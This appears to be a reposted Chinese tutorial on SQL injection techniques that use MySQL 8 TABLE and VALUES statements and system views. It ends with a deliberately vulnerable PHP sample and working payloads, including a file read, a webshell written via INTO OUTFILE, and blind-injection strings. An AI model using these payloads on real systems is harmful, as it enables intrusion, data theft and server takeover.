【网安干货】MySQL8新特性注入技巧
新增的表
information_schema.TABLESPACES_EXTENSIONS
從mysql8.0.21開始出現的, table
關鍵字出現的比較早,在8.0.19之后就有了,所以如果想要使用,還是先要試試這個表有沒有,如果 mysql 版本正好在
8.0.19-8.0.21 之間的話,就無法使用了
這個表好用就好用在,它直接存儲了數據庫和數據表
除了可以用 information_schema.SCHEMA 、information_schema.TABLES 、information.COLUMNS 這些表來獲取數據庫名、表信息和字段信息,還有一些本身就處在 MySQL 內的表和視圖可使用
mysql.innodb_table_stats mysql.innodb_index_stats兩表均有database_name和table_name字段
由于performance_schema過于復雜,所以mysql在5.7版本中新增了sys.schemma,基礎數據來自于 performance_chema 和 information_schema 兩個庫,本身數據庫不存儲數據。
| sys.innodb_buffer_stats_by_table | object_schema | |
| sys.x$innodb_buffer_stats_by_table | object_schema | object_name |
| sys.schema_auto_increment_columns | table_schema | table_name |
| sys.schema_table_statistics | table_schema | |
| sys.x$schema_table_statistics | table_schema | table_name |
| sys.schema_table_statistics_with_buffer | table_schema | table_name |
| sys.x$schema_table_statistics_with_buffer | table_schema | table_name |
| sys.schema_tables_with_full_table_scans | object_schema | object_name |
| sys.x$schema_tables_with_full_table_scans | object_schema | object_name |
| sys.io_global_by_file_by_latency | file字段包含數據名和表單名 | file字段包含數據名和表單名 |
| sys.x$io_global_by_file_by_latency | file字段包含數據名和表單名 | file字段包含數據名和表單名 |
| sys.io_global_by_file_by_bytes | file字段包含數據名和表單名 | file字段包含數據名和表單名 |
| sys.x$io_global_by_file_by_bytes | file字段包含數據名和表單名 | file字段包含數據名和表單名 |
| sys.x$schema_flattened_keys | table_schema | table_name |
| sys.x$ps_schema_table_statistics_io | table_schema | table_name |
| performance_schema.objects_summary_global_by_type | object_schema | object_name |
| performance_schema.table_handles | object_schema | |
| performance_schema.table_io_waits_summary_by_index_usage | object_schema | object_name |
| performance_schema.table_io_waits_summary_by_table | object_schema | object_name |
根據MySQL數據庫中找的一些表單或視圖里面的字段包含了數據庫名和表單的信息,還有一些歸納總結
還有一些存儲報錯語句的和執行狀態的表單或視圖得知其中含有的數據庫名和表單信息
還可利用 information.schema.processlist 表讀取正在執行的sql語句,從而得到表名與列名
新增功能
table
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]官方文檔描述和TABLE和SELECT有類似的功能
可以列出表的詳細內容
但是與 SELECT 還是有區別的
TABLE始終顯示表單中的所有列
TABLE不允許對其進行任何過濾,即TABLE不支持任何WHERE子句
坑點1:符號比較問題
先看如下這種情況
用的是小于號,第一列的值是 mysql,如果是 l 的話確實 l 的 ascii 編碼小于 m 的,得到的是1。但是如果是m 的話,就不是小于了而應該是等于,所以預期結果是返回0。
但實際上,這里即使使用小于,比較的結果還是小于等于(≤)。所以需要將比較得到的結果的 ascii編碼-1 再轉換成字符才可以。【資料詳細】
當然,反過來注入,從大的 ascii 編碼往下注入到小的就沒有這個問題了,例如下方的字符表(去掉了一些幾乎不會在mysql創建表中出現的字符)
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/-,+*)(&%$#!再來看另一種情況
發現在判斷最后一位的時候,情況和之前又不一樣了。最后一位的比較時候就是小于(<),而不是小于等于(≤)了。所以對于最后一位需要特別注意。
坑點2:字符轉換與大小寫問題
先看如下例子
這里id是整型,而我們給出的字符型,當進行比較時,字符型會被強制轉換為整型,而不是像之前一樣讀到了第一位以后沒有第二位就會停止,也就是都會強制轉換為整型進行比較并且會一直持續下去,所以以后寫腳本當跑到最后一位的時候尤其需要注意。
再來討論一下大小寫問題【網安資料】
lower_case_table_names 的值:
如果設置為 0,表名將按指定方式存儲,并且在對比表名時區分大小寫。
如果設置為 1,表名將以小寫形式存儲在磁盤上,在對比表名時不區分大小寫。
如果設置為 2,則表名按給定格式存儲,但以小寫形式進行比較。
此選項還適用于數據庫名稱和表別名。
由于 MySQL 最初依賴于文件系統來作為其數據字典,因此默認設置是依賴于文件系統是否區分大小寫。
在 Windows 系統上,默認值為 1。
在 macOS 系統上,默認值是 2。 在 Linux 系統上,不支持值為
2;服務器會將該值設置為 0。
對于真正的數據表,如果不加上 binary 的話,是不區分大小寫的
value
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]row_constructor_list:ROW(value_list)[,ROW(value_list)][,...]value_list:value[,value][,...]column_designator:column_indexvalues 可以構造一個表
values 可以直接接在 union 后面,判斷列數,效果同 union select
如果列數不對則會直接報錯
樣例測試
給出一個關于mysql 8新特性的樣例
<?php // index.php error_reporting(0); require_once('config.php'); highlight_file(__FILE__); $id = isset($_POST['id'])? $_POST['id'] : 1; if (preg_match("/(select|and|or| )/i",$id) == 1){die("MySQL version: ".$conn->server_info); } $data = $conn->query("SELECT username from users where id = $id"); foreach ($data as $users){var_dump($users['username']); } ?> <?php // config.php $dbhost = 'localhost'; // mysql服務器主機地址 $dbuser = 'root'; // mysql用戶名 $dbpass = 'root'; // mysql用戶名密碼 $dbname = 'test'; // mysql數據庫 $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname); ?>很明確,禁用了 select,能顯示部分結果,空格可以用 /**/ 代替,可以通過 order by 測列數或者通過 union values 判斷列數
id=0/**/union/**/values/**/row('injection')效果如下
嘗試注出數據庫
當然這里可以通過以下兩句
來判斷用戶權限和是否可讀寫,要是可以讀寫則可以進行如下注入
id=0/**/union/**/values/**/row(load_file('/flag')) id=0/**/union/**/values/**/row(0x3c3f70687020406576616c28245f504f53545b615d293b3f3e)/**/into/**/outfile/**/'/var/www/html/shell.php'
本地環境為 windows 所以根目錄不同
只能輸出一個字段的內容,limit只能控制行數,select 是可以控制輸出指定字段但是這里不允許,因為是 MySQL版本是 8.0.21 所以我們可以采用 table 和 小于號進行盲注,table 始終顯示表的所有列,我們可以注其中一個字段,這里過濾了 or 所以打算采用另一個存儲數據庫名和表單名的視圖 sys.schema_tables_with_full_table_scans, 這個視圖本身的數據少方便我們搜尋,過濾了 and 和 or 可以采用 && 或者 ||
可以通過腳本注出第一個參數是 test 后緊接著注第一行第二個字段
id=0||('test',binary'u',3,4)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/0,1)
第一位字符,MySQL8 此時小于號為小于等于所以第一位當大于 u 時則返回0,也就是 0||0 無數據,但是小于等于 u 時返回為 0||1 返回 id=1 時的數據,通過此方向進行布爾盲注,最后注出 test 數據庫中另一個表單名 flagishere。
不知道字段名也可以注入,還是通過 table 猜測字段個數然后帶出每個字段的數據
id=0||('0',1)<(table/**/flagishere/**/limit/**/0,1)
因為只有一位, MySQL8 當作最后一位來看,小于號就是發揮小于的作用,所以強制轉換位整型后,0<1返回 1 則輸出 id=1 的結果,而 1<1 返回 0 則不輸出結果,最后就是總結,寫個盲注的腳本
最后
我整理了相關的學習資料和工具,有需要的朋友關注私我哦!!!
【詳細】
總結
以上是生活随笔為你收集整理的【网安干货】MySQL8新特性注入技巧的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【技术分享】如何解锁高通骁龙660上的安
- 下一篇: 【程序员比赛】CISCN 2021 ez